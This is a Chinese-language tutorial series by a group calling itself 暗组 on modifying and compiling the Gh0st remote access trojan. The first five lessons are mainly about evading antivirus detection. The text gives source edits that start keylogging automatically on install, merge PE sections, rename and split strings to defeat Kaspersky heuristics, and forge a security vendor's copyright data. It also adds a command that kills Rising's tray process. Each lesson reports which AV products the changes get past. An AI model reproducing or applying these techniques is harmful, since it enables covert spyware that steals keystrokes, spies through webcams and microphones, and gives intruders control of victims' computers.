暗组Gh0st编译免杀系列教程


暗组Gh0st编译免杀系列教程1_编译前的准备工作


**********************************************
暗安全技术小组(暗组)   
www.darkst.com
我们创造的不是技术,不是成果,而是我们的精神。
我们赋予暗组以灵魂,并将永远延续。
无尽的黑暗,无尽的追求;
为技术而生,共享,自由。
**********************************************

 

————————————————————

第一课改后的源码下载地址:

http://torrent.qupan.com/963588.html

————————————————————

教程下载地址:

http://torrent.qupan.com/963218.html

————————————————————

 

 


                             暗组Gh0st编译免杀系列教程1_编译前的准备工作

 


做教程之前先说明下,我自己也还不怎么懂VC++,只是把我知道的东西教给大家了,呵呵

大牛就飘过吧...


先做好以下步骤:
————————————————————————————

安装vc++6.0
SDK包更新
安装DDK2003(编译驱动要用到这个)
去除硬盘锁(硬盘锁不是好玩的东西,所以还是注释掉好了)
编译生成

————————————————————————————


以上这些我就不多说了,网上也出来了不少这样的教程

参考教程:
http://www.3800hk.com/donghua/f/24166.html
http://www.heibai.net/download/Soft/Soft_13829.htm

DDK下载址:
http://www.seegle.cn/temp/winxpddk.zip

SDK下载址:
http://www.namipan.com/d/VC98.rar/184e40de31642ee25251a35e1efcefbdc011226249be0e04

 

 

然后我们来改下界面吧,改的好看点 o(∩_∩)o...

 

1.把菜单栏显示出来,把下面这个注释掉就可以了
// 去掉菜单栏
m_pMainWnd->SetMenu(NULL);

————————————————————————————

2.

gh0st\MainFrm.cpp(改界面高度、宽度等)


BOOL CMainFrame.:PreCreateWindow(CREATESTRUCT& cs)
{
if( !CFrameWnd::PreCreateWindow(cs) )
   return FALSE;
// TODO: Modify the Window class or styles here by modifying
// the CREATESTRUCT cs
// cs.cx = 646;
cs.cx = 800;     //改宽度

/*
if (((CGh0stApp *)AfxGetApp())->m_bIsQQwryExist)   //存在QQwry.dat界面就加长100,注释掉
{
   cs.cx += 100;
}
*/

// cs.cy = 310;
cs.cy = 500;     //改高度
cs.style. &= ~FWS_ADDTOTITLE;
cs.lpszName = "Gh0st 个人版";    //改名称
return TRUE;
}

————————————————————————————

COLUMNSTRUCT g_Column_Data[] =
{
// {"ID",     48 },
{"上线ID",     48 },
// {"WAN",     102 },
{"广域网IP",     102 },
// {"LAN",     102 },
{"局域网IP",     102 },
{"计算机名/备注", 107 },
{"操作系统",   128 },
{"CPU",     55 },
{"Ping",    40 },
// {"摄像头",    51 },
{"视频状态",   60 },
// {"区域",    100 }
{"地理位置",    100 }
};

————————————————————————————

3.改弹出的提示

   strToolTipsText.Format("上线主机信息:\n主机名: %s\nIP : %s\n系统: Windows %s", LoginInfo->HostName, IPAddress, strOS);
//    strToolTipsText += "\nArea: ";
    strToolTipsText += "\n地理位置:";

    //m_TrayIcon.Create(this, WM_ICON_NOTIFY, "Running ....",
    m_TrayIcon.Create(this, WM_ICON_NOTIFY, "正在运行 ....",

————————————————————————————

4.改弹出菜单(这样改可以让免杀的时候卸载服务端方便点)

IDR_LIST MENU DISCARDABLE
BEGIN
    POPUP "MENU"
    BEGIN
        POPUP "主机管理(&S)"
        BEGIN
            MENUITEM "卸载(&U)",                    IDM_REMOVE
            MENUITEM SEPARATOR
      MENUITEM "断开(&D)",        IDM_DISCONNECT
            MENUITEM "注销(&L)",                    IDM_LOGOFF
            MENUITEM "重启(&R)",                    IDM_REBOOT
            MENUITEM "关机(&S)",                    IDM_SHUTDOWN
        END
        MENUITEM SEPARATOR
        MENUITEM "文件管理(&F)",                IDM_FILEMANAGER
        MENUITEM "屏幕控制(&C)",                IDM_SCREENSPY
        MENUITEM "键盘记录(&K)",                IDM_KEYBOARD
        MENUITEM "远程终端(&T)",                IDM_REMOTESHELL
        MENUITEM "系统管理(&M)",                IDM_SYSTEM
        MENUITEM "视频查看(&V)",                IDM_WEBCAM
        MENUITEM "语音监听(&W)",                IDM_AUDIO_LISTEN
        MENUITEM "下载执行(&D)",                IDM_DOWNEXEC
        MENUITEM "免杀更新(&U)",                IDM_UPDATE_SERVER
        POPUP "访问网址(&V)"
        BEGIN
            MENUITEM "隐藏(&H)",                    IDM_OPEN_URL_HIDE
            MENUITEM "显示(&S)",                    IDM_OPEN_URL_SHOW
        END
        MENUITEM "清除日志(&C)",                IDM_CLEANEVENT
        MENUITEM "更改备注(&R)",                IDM_RENAME_REMARK
        MENUITEM SEPARATOR
        MENUITEM "选择全部(&A)",                IDM_SELECT_ALL
        MENUITEM "取消选择(&U)",                IDM_UNSELECT_ALL
    END
END

————————————————————————————

5.断开连接、注销、重启、关机的时候弹出警告,防止关机什么的时候什么都不提示


void CGh0stView::OnDisconnect()
{
if (MessageBox("确认断开连接吗? 断开连接后,必须等待服务端重启后才能控制对方了!", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
   return;
POSITION pos = m_pListCtrl->GetFirstSelectedItemPosition();
while (pos)
{
   m_pListCtrl->DeleteItem(m_pListCtrl->GetNextSelectedItem(pos));
}
}

——————

void CGh0stView::OnLogoff()
{
if (MessageBox("确认注销吗?", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_LOGOFF | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
}

void CGh0stView::OnReboot()
{
if (MessageBox("确认重启吗?", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_REBOOT | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
}

void CGh0stView::OnShutdown()
{
if (MessageBox("确认关机吗?", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_SHUTDOWN | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
}


————————————————————————————

6.安装木马后直接打开键盘记录的方法:

安装服务端后,判断是否存在syslog.dat这个文件,如果有,则自动开启离线记录,如果没有就默认不开启键盘记录。

在文件KernelManager.cpp里加入下面的代码就可以了,来测试下是否安装了木马之后就打开了键盘记录

//安装木马即开始键盘记录
char strRecordFile[MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "
\\syslog.dat");
DeleteFile(strRecordFile);
    if (GetFileAttributes(strRecordFile) == -1)
    {
        HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
                CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        CloseHandle(hFile);
    }


7.让打开控制端的时候界面显示在屏幕**,这个Gh0st打开之后老是显示在做上角,不舒服,所以改下 ^_^

int CMainFrame.:OnCreate(LPCREATESTRUCT lpCreateStruct)
{
this ->CenterWindow(CWnd::GetDesktopWindow());     //加上这句话就可以了
...


8. 再改下文件生成和调用的地方,把sys、dll、exe都改到Bin目录里去

原来的生成位置是这样的:

Gh0st\Server\install\res\svchost.dll    这个是生成的dll文件
Gh0st\gh0st\res\install.exe             这个是生成的exe文件

其中svchost files是dll的工程
    install files是exe的工程


dll生成位置:(生成的dll的名称是和dll的输出表有关的)
../install/res/svchost.dll   //原来的输出表里的dll名称是svchost.dll
../bin/avcenter.dll       //我们来改下生成的名称和位置,生成的是avcenter.dll了吧,所以我们在免杀的时候,这个
                             //输出表的dll名称是可以乱改的,只是编译的时候生成的名称而已,不会影响功能

 

exe生成位置:
../gh0st/res/install.exe //原来的生成位置
../bin/install.exe

改了生成的位置之后还得改资源调用的位置,要不然还是在调用原来位置的dll和exe


dll资源调用:
//IDR_DLL                 BIN     DISCARDABLE     "res\\svchost.dll"
IDR_DLL                 BIN     DISCARDABLE     "..\\..\\bin\\avcenter.dll"


exe资源调用:
//IDR_BSS                 BSS     DISCARDABLE     "res\\install.exe"
IDR_BSS                 BSS     DISCARDABLE     "..\\bin\\install.exe"


sys资源调用:
//IDR_SYS                 BIN     DISCARDABLE     "..\\sys\\RESSDT.sys"
IDR_SYS                 BIN     DISCARDABLE     "..\\..\\bin\\RESSDT.sys"


现在都生成到bin目录里去了吧,这样就方便了,省的到处去找生成的东西

还得把sys也复制到Bin目录里去,编译下看看

 

9.

最后就是改下图标什么的啦,在这个目录里(Gh0st\gh0st\res),自己去找合适的ico图标来改吧。

 

呵呵,好了。其他的就自己想怎么改就怎么改吧,我就不多说了

 

 

洪流

2008.12.18

暗组Gh0st编译免杀系列教程2_驱动文件编译方法一

2008-12-20 07:58


**********************************************
暗安全技术小组(暗组)   
www.darkst.com
我们创造的不是技术,不是成果,而是我们的精神。
我们赋予暗组以灵魂,并将永远延续。
无尽的黑暗,无尽的追求;
为技术而生,共享,自由。
**********************************************


                                          暗组Gh0st编译免杀系列教程2_驱动文件编译方法1

 

命令行编译驱动

 

1.改RESSDT字符串(一共5个地方)

先搜索RESSDT,改为什么都行,比如我改为avcenter

//        RtlInitUnicodeString(&DerName,L"\\Device\\RESSDT");
        RtlInitUnicodeString(&DerName,L"
\\Device\\avcenter");

//        RtlInitUnicodeString(&DerName2,L"\\??\\RESSDTDOS");
        RtlInitUnicodeString(&DerName2,L"
\\??\\avcenterDOS");

//        hDriver = CreateFileA( "\\\\.\\RESSDTDOS",
        hDriver = CreateFileA( "
\\\\.\\avcenterDOS",

//TARGETNAME=RESSDT        //这个得搜索所有文件才可以搜索到了,这个是生成驱动的名称
TARGETNAME=avcenter

//SOURCE=..\sys\RESSDT.sys(这里不能用注释符号 ..\..\bin\RESSDT.sys表示生成到Bin目录里去)
SOURCE=..\..\bin\avcenter.sys

还得改下上个教程里sys资源调用:
//IDR_SYS                 BIN     DISCARDABLE     "..\\sys\\RESSDT.sys"
IDR_SYS                 BIN     DISCARDABLE     "..\\..\\bin\\avcenter.sys"

 

2.然后再给驱动文件加点花指令,或者也可以再把那个DbgPrint前的注释去掉

或者加个sprintf也可以:

#include <stdio.h> //先加个文件头
sprintf("aaaaaaa", "bbbbbbbbb", 123);

反正改的越多杀软就越难查杀


3.还可以合并下区段:合并区段是个很重要的方法,特别是在下个教程里你可以看到它的效果

#pragma   comment(linker, "/merge:.rdata=.data ")       //把.rdata区段合并到.data里去
#pragma   comment(linker, "/merge:.text=.data ")        //把.text区段合并到.data里去

合并后驱动文件的大小就由3K变成了2K了,这个还可以使你的木马变小


4.

在命令行编译驱动也有两个方法,第二个方法快点...

—————————————————————————————————————————————————

改完后把Server里的sys文件夹复制到DDK安装目录里,然后在cmd里运行命令

cd\                                                    (来到C盘根目录)
C:\WINDDK\2600\bin\setenv.bat C:\WINDDK\2600 chk       (这个命令得看你的DDK安装在哪)
cd sys                                                 (进入sys目录)
build                                                  (编译sys文件)

—————————————————————————————————————————————————

或者直接来到这里,进入sys文件夹去编译

开始\Development Kits\Windows DDK 2600\Build Environments\Win XP Free Build Environment

—————————————————————————————————————————————————

改下输入表的大小看看过瑞星不?

编译生成之后再去看看sys文件里的字符串哪些变了

这样改后还是有很多杀软会杀的,再给驱动文件加个输入表就可以免杀很多,但我现在还不会,呵呵


5.手动免杀其他杀软

小红伞:移动ntoskrnl.exe到驱动文件的最后

nod32:改子系统

瑞星:改输出表大小为30

avg:填充掉文件头上的那些东西

改后就剩下两个杀软杀了

 

.

.

教程下载地址:
http://torrent.qupan.com/971151.html

 

.

暗组Gh0st编译免杀系列教程3_驱动文件编译方法二

 

2008-12-20 08:00


**********************************************
暗安全技术小组(暗组)   
www.darkst.com
我们创造的不是技术,不是成果,而是我们的精神。
我们赋予暗组以灵魂,并将永远延续。
无尽的黑暗,无尽的追求;
为技术而生,共享,自由。
**********************************************

 

                                       暗组Gh0st编译免杀系列教程3_驱动文件编译方法2

 

方法2:新建工程编译驱动

 

接着上个教程来编译驱动


1.新建工程,在avcenter目录里添加sys的源码文件,共3个【makefile、RESSDT.c、sources】


2.工程配置


3.把批处理文件MakeDrvr.bat,放到avcenter目录里


4.工程设置

C:\Gh0st\avcenter\MakeDrvr C:\WINDDK\2600 C: C:\Gh0st\avcenter free
-nmake /a

把sys文件生成到Bin目录里去

..\..\bin\avcenter


5.编译

卡巴的ssdt清除不掉...

.

.

教程下载地址:
http://torrent.qupan.com/975876.html

.

 

 

 

 

 

 

.暗组Gh0st编译免杀系列教程4_dll和exe编译免杀过常见杀软

2008-12-20 10:59



**********************************************
暗安全技术小组(暗组)   
www.darkst.com
我们创造的不是技术,不是成果,而是我们的精神。
我们赋予暗组以灵魂,并将永远延续。
无尽的黑暗,无尽的追求;
为技术而生,共享,自由。
**********************************************


    这个学期的期末考试完了,所以就把教程一口气都做出来了...

 

 


                                   暗组Gh0st编译免杀系列教程4_dll和exe编译免杀过常见杀软

 


针对国内的杀软,一般只要去研究怎么改字符串和输出表就可以了,因为只有这些才会被它们追杀

觉得很多人用的编译后根据文件特征码,到源码里找代码的方法是很不明智的,那样的源码免杀不仅浪费时间,而且目的性太强

不要忘了我们源码免杀的目的不再像特征码免杀那样了,我们要的效果是免杀的效果更好、免杀的时间更长

所以免杀的时候也不要去管代码里的特征码,只管字符串、输出表、输入表

代码里的特征码只要在源码里稍微做点修改就会消失的

而对付国外的杀软,不仅要研究字符串和输出表,还得研究输入表

 

1.区段合并法(区段合并后就过了很多了)

svchost files/svchost.cpp
//#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")
//把.rdata、.data合并到.text区段里去,/section:.text,ERW"这个是设置区段的读写权限

我们分别生成一个,再来比较下他们的区段,合并区段后,代码的变化是巨大的,所以很多杀软都不查杀了

但我们还得改下字符串,因为有些字符串被杀软查杀


2.字符串分割法

下个教程里对付卡巴启发会用到,这里就不提了


3.改字符串大小写

这是个需要很大耐心,呵呵

自己慢慢去改吧,改的越多免杀的效果就越好、免杀也越长久

 

// if (strstr(lpURL, "http://") == NULL && strstr(lpURL, "https://") == NULL)
if (strstr(lpURL, "HTTP://") == NULL && strstr(lpURL, "HTTPS://") == NULL)    //这个不能改大小写,改了不能用http上线了


4.加输出表函数

其中ResetSSDT这个输出表函数被卡巴启发杀,下个教程讲怎么改这个函数

extern "C" __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[]);
extern "C" __declspec(dllexport) bool ResetSSDT();
extern "C" __declspec(dllexport) bool whm();
extern "C" __declspec(dllexport) bool Rool();

输出表的排列是按首字母顺序排列的

extern "C" __declspec(dllexport) bool whm()
{
        return false;
}
extern "C" __declspec(dllexport) bool Rool()
{
        return false;
}

 

5.改文件版权为360安全卫士里AntiActi.dll文件的版权(过金山清理专家、360安全卫士恶意扫描、360安全卫士木马查杀)

替换掉.rc文件里的版权信息就可以了,exe文件得先给它加个版权

版权所在的文件:
C:\Gh0st\Server\svchost\svchost.rc
C:\Gh0st\Server\install\install.rc

 

6.搜索Sleep,加花

这里搜索Sleep的原因是Sleep是延时的,所以加几个nop也可以起一点点的延时的作用吧

当然你也可以在其他地方加啦,看我怎么加吧(我就加3个nop的花了,大家可以加长点,因为nop加的多了会卡死)


__asm
{
nop
}


汗 算了 不加了 老是卡死


7.改配置信息AAAAAA、CCCCCC
//                        file.Write("AAAAAA", 6);
                        file.Write("HHHHHH", 6);
//        lpEncodeString = (char *)FindConfigString(hInstance, "AAAAAA");
        lpEncodeString = (char *)FindConfigString(hInstance, "HHHHHH");
//        char        *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA");
        char        *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "HHHHHH");

//                        file.Write("CCCCCC", 6);
                        file.Write("XXXXXX", 6);
//        lpServiceConfig = (char *)FindConfigString(hInstance, "CCCCCC");
        lpServiceConfig = (char *)FindConfigString(hInstance, "XXXXXX");


8.过瑞星卡卡,呵呵,结束进程的,好像暴力了点,加在exe的入口就可以了

WinExec ("taskkill /f /t /im RSTray.exe", SW_HIDE);

好了 教程就到这吧 下个教程讲过卡巴的启发 呵呵

教程下载地址:
http://torrent.qupan.com/978460.html

 

 

暗组Gh0st编译免杀系列教程5_Gh0st过卡巴启发非延时

2008-12-20 11:00

 

**********************************************
暗安全技术小组(暗组)   
www.darkst.com
我们创造的不是技术,不是成果,而是我们的精神。
我们赋予暗组以灵魂,并将永远延续。
无尽的黑暗,无尽的追求;
为技术而生,共享,自由。
**********************************************

 

                                         暗组Gh0st编译免杀系列教程5_Gh0st过卡巴启发非延时

 


卡巴2009的启发杀毒杀在生成的服务端末尾配置信息上,或者说是数据流吧

这个我们该怎么来过它呢?其实它杀的是字符串,只要字符串改了,卡巴启发也就不会追杀过来了

下面的是以前流传的过卡巴启发代码,现在这个对卡巴启发没什么用了

^_^ 公布了的东西就是被封杀的快啊

不过没没有交流,哪有发展呢   呵呵 所以我才冒着被大牛嘲笑的风险来发布这个系列教程的

再说,这个代码也不怎么好,延迟十多秒不说,上线的时候占用93%还多,特别卡

SYSTEMTIME hi;
int iCounter;
GetLocalTime(&hi);
iCounter = hi.wSecond;

if( iCounter >49 )
iCounter=iCounter-50;
else
iCounter=iCounter+10;

while(1)
{
GetLocalTime(&hi);
if(hi.wSecond == iCounter)
   break;
}


——————————————————————————————————————————————————


1.改ResetSSDT字符串:(这个也被瑞星杀,这个是一个输出表函数)

搜索ResetSSDT,改为CCenter,共8个地方


//bool ResetSSDT(HMODULE        hModule)
bool CCenter(HMODULE        hModule)

//                LPResetSSDT        ResetSSDT = (LPResetSSDT)GetProcAddress(hDll, "ResetSSDT");
                LPResetSSDT        CCenter = (LPResetSSDT)GetProcAddress(hDll, "CCenter");

//                if (ResetSSDT == NULL)
                if (CCenter == NULL)

//                ResetSSDT();
                CCenter();

//                ResetSSDT();
                CCenter();

//        ResetSSDT(hInstance);
        CCenter(hInstance);

//extern "C" __declspec(dllexport) bool ResetSSDT();                        //原来的
extern "C" __declspec(dllexport) bool CCenter();                                               

//extern "C" __declspec(dllexport) bool ResetSSDT()
extern "C" __declspec(dllexport) bool CCenter()

 


2.把netsvcs_0x%d改为NETSVCS_0x%x
//                wsprintf(servicename, "netsvcs_0x%d", i);
                wsprintf(servicename, "NETSVCS_0x%x", i);


总结:

卡巴的很多启发都是在字符串上的,但我们定位出来的特征码又不在字符串上,这时候无论我们怎么改代码、怎么跳转都不能免杀,

或者改了之后要不不能上线,要不不能免杀。那就很可能是启发在作怪了

如果这样的话,我们就先去分析下这个木马的字符串,分析字符串的时候不能用00去填充,得手动一个一个的去分析

找卡巴启发字符串的方法:

用大小写互换的方法来找,而不是用00去填充,那样会找不出来的。因为00填充破坏了卡巴启发查杀的条件

那样卡巴的启发就不会继续下去了,所以找不到真正的启发特征码

 


3.和别的字符串没什么关联的,或者说只搜索到了一个字符串的,就可以直接改了

Global\\Gh0st %d
//                wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名
                wsprintf(strKillEvent, "Global\\Torrent %d", GetTickCount()); // Gh0st随便改成什么都可以

 

4.这个也被卡巴杀
//        char Win2k[]="RasDialParams!%s#0";
        char Win2k[]="RasDialParams-2k-!%s#0";
//        char WinXP[]="L$_RasDefaultCredentials#0";
        char WinXP[]="L$_RasDefaultCredentials-XP-#0";

 


5.字符串连接法

有些不能改大小写的字符串,或者不好改的,比如%s%s%s   %s%s*.* 这样的,都可以用这个方法来解决

现在卡巴杀的是这个字符串:#32770   一个窗口类名

//////////////////////////////////////////////////////////

//把字符串"#32770"连接起来(字符串连接法)
char *str1="#32", *str2="770",*str3=NULL;
str3=new char[strlen(str1)+strlen(str2)+1];
strcpy(str3,str1);                                 //把str1所指由NULL结束的字符串复制到str3所指的数组中
strcat(str3,str2);                                 //把str2所指字符串添加到str3结尾处(覆盖dest结尾处的'\0')并添加'\0'
                                                   //这样就实现了str3=str1+str2,把str1和str2连接起来了
//////////////////////////////////////////////////////////

 

//        m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
        m_hWnd = CreateWindow(str3, /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);


也许在教给大家这个以后卡巴还会增加启发特征码,但相信大家学会了方法就足以应付它了

我们再来用这个方法改个字符串 %s%s%s

 


—————————————————————————————————————

这样改了之后,我测试过了以下杀软:

瑞星、金山、卡巴、江民、驱逐舰、360杀毒、F-Port、avast!、avg、

麦咖啡、诺顿、安博士、趋势,Symantec Antivirus,熊猫卫士

Windows清理助手、费尔托斯特、键盘记录过360保险箱

过了瑞星卡卡、金山清理专家、360安全卫士恶意扫描、360安全卫士木马查杀

360安全卫士提示服务,阻止了还在,重启还在。

过不了nod32、小红伞、大蜘蛛

—————————————————————————————————————


所以改源码关键是得去改字符串和输出表、输入表,而不是还去定位代码里的特征码,那样只会费时费力。

当然,定位特征码也是不可缺少的,上面的这些被杀字符串就是通过定位得到的,也就是说,定位在代码里的特征码就先不去管它

先把字符串解决了,如果改了字符串或输出表等之后还是杀在代码段,那样才去定位下代码里的特征码

 

剩下nod32和小红伞,我现在也只能改特征码过他们,不知道大家有什么好方法能源码免杀他们,还希望分享出来哈

毕竟nod32和小红伞不是国内的杀软,公布出来也应该不会杀的太快吧,再说只有大家进步了技术才会进步嘛

这个教程的源码我就打包给大家吧

好了,Gh0st的编译教程到这里也该告一段落了,谢谢大家的观看 o(∩_∩)o...

 


教程下载地址:
http://torrent.qupan.com/978600.html

 

暗组Gh0st编译免杀系列教程6_去除sys驱动文件

2009-01-06 13:53


**********************************************
暗安全技术小组(暗组)   
www.darkst.com
我们创造的不是技术,不是成果,而是我们的精神。
我们赋予暗组以灵魂,并将永远延续。
无尽的黑暗,无尽的追求;
为技术而生,共享,自由。
**********************************************

 

                          暗组Gh0st编译免杀系列教程6_去除sys驱动文件


鉴于现在利用驱动程序在ring0态恢复SSDT HOOK(钩子),使部分安全软件的主动防御和监控失效的功能

已经被很多杀软主动拦截或者驱动文件本身对于杀软已经失效,所以现在做这个教程...

还是拿上次第五个教程后的源码来改   o(∩_∩)o...

去除sys文件无非就是把调用了这个功能的地方注释掉就可以了,然后再去除sys的资源调用,就不会再

加载驱动恢复SSDT了,现在看我做吧


上次我们把ResetSSDT改成了CCenter,所以现在就搜索CCenter然后注释掉就可以了

1.注释掉CCenter


2.注释掉资源调用

IDR_SYS                 BIN     DISCARDABLE     "..\\..\\bin\\avcenter.sys"

注释掉这句就可以了

3.删掉Gh0st\Server\svchost\common\resetssdt.h头文件,再注释掉下面这句

//#include "common/resetssdt.h"

去掉了这些也可能还有些没去掉,但已经不会再调用了sys了

呵呵 已经没有sys文件了吧,再看看运行的时候会不会释放或者调用sys文件

监视sys是否释放,没有吧

 

——————————————————————————————————————————

 

然后我们再来改下界面吧   ^_^

在gh0st工程的CMainFrame的OnCreate函数里,return 0之前加上下面的代码:


LOGFONT lf = {13, 0, 0, 0, FW_NORMAL, 0, 0, 0,
DEFAULT_CHARSET, OUT_CHARACTER_PRECIS, CLIP_CHARACTER_PRECIS,
DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, "宋体"};    //设置字体为宋体
m_wndTab.SetControlFont(lf, TRUE);
m_wndTab.ModifyStyle(CTCS_LEFT, CTCS_TOP, 0);               //将标签放到上面


然后改下高度:

//CRect(0, 0, 0, 15),   //这个是改高度的
CRect(0, 0, 0, 25),     //改为25


再把标签里的文字改为中文:

Connections ——> 上线主机

// ((CMainFrame*)AfxGetApp()->m_pMainWnd)->AddView("Connections", this, "Connections Users");
((CMainFrame*)AfxGetApp()->m_pMainWnd)->AddView(" 上线主机 ", this, "上线主机");

 

settings    ——> 服务设置

// ((CMainFrame*)AfxGetApp()->m_pMainWnd)->AddView("Settings", pSettingsView, "Control Settings");
((CMainFrame*)AfxGetApp()->m_pMainWnd)->AddView(" 服务设置 ", pSettingsView, "服务设置");

 

build      ——> 生成服务端

// ((CMainFrame*)AfxGetApp()->m_pMainWnd)->AddView("Build", pBuildView, "Build Server");
((CMainFrame*)AfxGetApp()->m_pMainWnd)->AddView(" 生成服务端 ", pBuildView, "生成服务端");


还有,我们应该都有这样的经历吧,Gh0st编译后,文件夹里就很多临时文件了,这样就导致编译的文件夹很大,用这个工

具可以删掉临时文件,其他的也没什么了,呵呵   想到了再做教程吧

 

                                                                                      洪流免杀交流群:74337630

 

教程下载地址:

http://torrent.qupan.com/1325088.html


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM